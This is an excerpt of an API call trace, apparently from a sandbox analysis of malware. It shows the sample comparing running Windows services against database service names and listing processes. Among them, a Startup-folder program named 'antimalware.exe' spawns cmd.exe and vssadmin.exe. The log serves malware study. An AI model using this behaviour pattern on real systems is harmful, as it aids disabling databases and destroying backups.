	[0157.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0157.066] lstrlenW (lpString="SENS") returned 4
	[0157.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0157.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0157.066] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0157.066] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0157.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0157.066] lstrlenW (lpString="ShellHWDetection") returned 16
	[0157.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0157.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0157.066] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0157.067] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0157.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0157.067] lstrlenW (lpString="Spooler") returned 7
	[0157.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0157.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0157.067] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0157.067] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0157.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0157.067] lstrlenW (lpString="StateRepository") returned 15
	[0157.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0157.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0157.067] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0157.067] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0157.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0157.067] lstrlenW (lpString="SysMain") returned 7
	[0157.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0157.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0157.067] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0157.067] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0157.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0157.067] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0157.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0157.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0157.067] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0157.068] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0157.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0157.068] lstrlenW (lpString="Themes") returned 6
	[0157.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0157.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0157.068] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0157.068] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0157.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0157.068] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0157.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0157.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0157.068] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0157.068] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0157.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4641fd0 | out: hHeap=0x4f0000) returned 1
	[0157.068] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4ac
	[0157.074] Process32FirstW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0157.075] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0157.076] lstrlenW (lpString="System") returned 6
	[0157.076] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0157.077] lstrlenW (lpString="smss.exe") returned 8
	[0157.078] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0157.078] lstrlenW (lpString="csrss.exe") returned 9
	[0157.079] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0157.080] lstrlenW (lpString="wininit.exe") returned 11
	[0157.080] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0157.081] lstrlenW (lpString="csrss.exe") returned 9
	[0157.081] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0157.082] lstrlenW (lpString="winlogon.exe") returned 12
	[0157.082] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0157.083] lstrlenW (lpString="services.exe") returned 12
	[0157.083] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0157.084] lstrlenW (lpString="lsass.exe") returned 9
	[0157.084] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0157.085] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0157.085] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0157.086] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0157.086] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.087] lstrlenW (lpString="svchost.exe") returned 11
	[0157.087] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.088] lstrlenW (lpString="svchost.exe") returned 11
	[0157.088] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0157.089] lstrlenW (lpString="dwm.exe") returned 7
	[0157.089] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.091] lstrlenW (lpString="svchost.exe") returned 11
	[0157.091] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.092] lstrlenW (lpString="svchost.exe") returned 11
	[0157.092] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.093] lstrlenW (lpString="svchost.exe") returned 11
	[0157.093] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.095] lstrlenW (lpString="svchost.exe") returned 11
	[0157.095] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.587] lstrlenW (lpString="svchost.exe") returned 11
	[0157.587] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.609] lstrlenW (lpString="svchost.exe") returned 11
	[0157.609] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.610] lstrlenW (lpString="svchost.exe") returned 11
	[0157.610] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.611] lstrlenW (lpString="svchost.exe") returned 11
	[0157.611] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.612] lstrlenW (lpString="svchost.exe") returned 11
	[0157.612] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.613] lstrlenW (lpString="svchost.exe") returned 11
	[0157.613] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0157.614] lstrlenW (lpString="spoolsv.exe") returned 11
	[0157.614] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.616] lstrlenW (lpString="svchost.exe") returned 11
	[0157.616] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0157.617] lstrlenW (lpString="audiodg.exe") returned 11
	[0157.617] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0157.618] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0157.618] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0157.619] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0157.619] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0157.620] lstrlenW (lpString="sihost.exe") returned 10
	[0157.620] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0157.621] lstrlenW (lpString="Memory Compression") returned 18
	[0157.621] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.624] lstrlenW (lpString="svchost.exe") returned 11
	[0157.624] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0157.625] lstrlenW (lpString="taskhostw.exe") returned 13
	[0157.625] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0157.626] lstrlenW (lpString="msoia.exe") returned 9
	[0157.626] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0157.627] lstrlenW (lpString="taskhostw.exe") returned 13
	[0157.627] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0157.629] lstrlenW (lpString="explorer.exe") returned 12
	[0157.629] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0157.630] lstrlenW (lpString="SearchUI.exe") returned 12
	[0157.630] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0157.631] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0157.631] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0157.632] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0157.632] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0157.633] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0157.633] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0157.637] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0157.638] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0157.638] lstrlenW (lpString="cmd.exe") returned 7
	[0157.639] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0157.640] lstrlenW (lpString="conhost.exe") returned 11
	[0157.640] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0157.641] lstrlenW (lpString="consent.exe") returned 11
	[0157.641] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0157.642] lstrlenW (lpString="vssadmin.exe") returned 12
	[0157.642] Process32NextW (in: hSnapshot=0x4ac, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0157.643] CloseHandle (hObject=0x4ac) returned 1
	[0157.643] Sleep (dwMilliseconds=0x1f4) 
	[0158.260] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45aff08
	[0158.261] EnumServicesStatusExW (in: hSCManager=0x45aff08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0158.261] GetLastError () returned 0xea
	[0158.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x4641fd0
	[0158.262] EnumServicesStatusExW (in: hSCManager=0x45aff08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4641fd0, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4641fd0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0158.263] CloseServiceHandle (hSCObject=0x45aff08) returned 1
	[0158.263] lstrlenW (lpString="Appinfo") returned 7
	[0158.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0158.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0158.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0158.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0158.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0158.264] lstrlenW (lpString="AppXSvc") returned 7
	[0158.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0158.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0158.264] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0158.264] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0158.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0158.264] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0158.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0158.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0158.264] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0158.264] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0158.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0158.264] lstrlenW (lpString="Audiosrv") returned 8
	[0158.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0158.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0158.265] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0158.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0158.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0158.265] lstrlenW (lpString="BFE") returned 3
	[0158.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0158.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0158.265] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0158.265] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0158.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0158.265] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0158.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0158.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0158.265] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0158.265] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0158.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0158.266] lstrlenW (lpString="CDPSvc") returned 6
	[0158.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0158.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0158.266] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0158.266] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0158.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0158.266] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0158.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0158.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0158.266] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0158.266] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
